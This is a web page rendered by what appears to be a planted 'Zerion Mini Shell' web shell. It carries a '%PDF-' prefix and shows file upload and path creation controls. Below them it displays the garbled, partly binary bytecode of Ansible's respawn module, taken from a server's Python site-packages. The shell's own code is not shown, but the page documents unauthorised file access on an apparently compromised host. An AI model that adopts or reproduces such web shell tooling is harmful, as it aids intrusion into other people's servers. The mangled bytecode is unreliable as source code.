%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/common/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/common/__pycache__/respawn.cpython-39.pyc

a

�)g�@sdddlmZmZmZeZddlZddlZddlZddl	m
Z
mZdd�Zdd�Z
dd	�Zd
d�ZdS)�)�absolute_import�division�print_functionN)�to_bytes�	to_nativecCsttjdd�S)N�__main__Z
_respawned)�hasattr�sys�modules�rr�G/usr/lib/python3.9/site-packages/ansible/module_utils/common/respawn.py�
has_respawnedsr
cCsZt�rtd��t�}t��\}}t�|t|��t�|�tj	|dg|d�}t
�|�dS)a�
    Respawn the currently-running Ansible Python module under the specified Python interpreter.

    Ansible modules that require libraries that are typically available only under well-known interpreters
    (eg, ``yum``, ``apt``, ``dnf``) can use bespoke logic to determine the libraries they need are not
    available, then call `respawn_module` to re-execute the current module under a different interpreter
    and exit the current process when the new subprocess has completed. The respawned process inherits only
    stdout/stderr from the current process.

    Only a single respawn is allowed. ``respawn_module`` will fail on nested respawns. Modules are encouraged
    to call `has_respawned()` to defensively guide behavior before calling ``respawn_module``, and to ensure
    that the target interpreter exists, as ``respawn_module`` will not fail gracefully.

    :arg interpreter_path: path to a Python interpreter to respawn the current module
    z!module has already been respawnedz--)�stdinN)r
�	Exception�_create_payload�os�pipe�writer�close�
subprocess�callr	�exit)�interpreter_pathZpayloadZ
stdin_readZstdin_write�rcrrr�respawn_modules
rc	Cs`|D]V}tj�|�sqz,t�|dd�|�g�}|dkr@|WSWqtyXYqYq0qdS)aG
    Probes a supplied list of Python interpreters, returning the first one capable of
    importing the named module. This is useful when attempting to locate a "system
    Python" where OS-packaged utility modules are located.

    :arg interpreter_paths: iterable of paths to Python interpreters. The paths will be probed
    in order, and the first path that exists and can successfully import the named module will
    be returned (or ``None`` if probing fails for all supplied paths).
    :arg module_name: fully-qualified Python module name to probe for (eg, ``selinux``)
    z-cz
import {0}rN)r�path�existsrr�formatr)Zinterpreter_pathsZmodule_namerrrrr�probe_interpreters_for_module/srcCsVddlm}t|d�}|s"td��tjdj}tjdj}d}|j||t	|�d�}|S)Nr)�basicZ
_ANSIBLE_ARGSzVunable to access ansible.module_utils.basic._ANSIBLE_ARGS (not launched by AnsiballZ?)ra�
import runpy
import sys

module_fqn = '{module_fqn}'
modlib_path = '{modlib_path}'
smuggled_args = b"""{smuggled_args}""".strip()


if __name__ == '__main__':
    sys.path.insert(0, modlib_path)

    from ansible.module_utils import basic
    basic._ANSIBLE_ARGS = smuggled_args

    runpy.run_module(module_fqn, init_globals=dict(_respawned=True), run_name='__main__', alter_sys=True)
    )�
module_fqn�modlib_path�
smuggled_args)
Zansible.module_utilsr�getattrrr	r
Z_module_fqnZ_modlib_pathrr)rr"r r!Zrespawn_code_templateZrespawn_coderrrrGs
r)Z
__future__rrr�typeZ
__metaclass__rrr	Z+ansible.module_utils.common.text.convertersrrr
rrrrrrr�<module>s

Zerion Mini Shell 1.0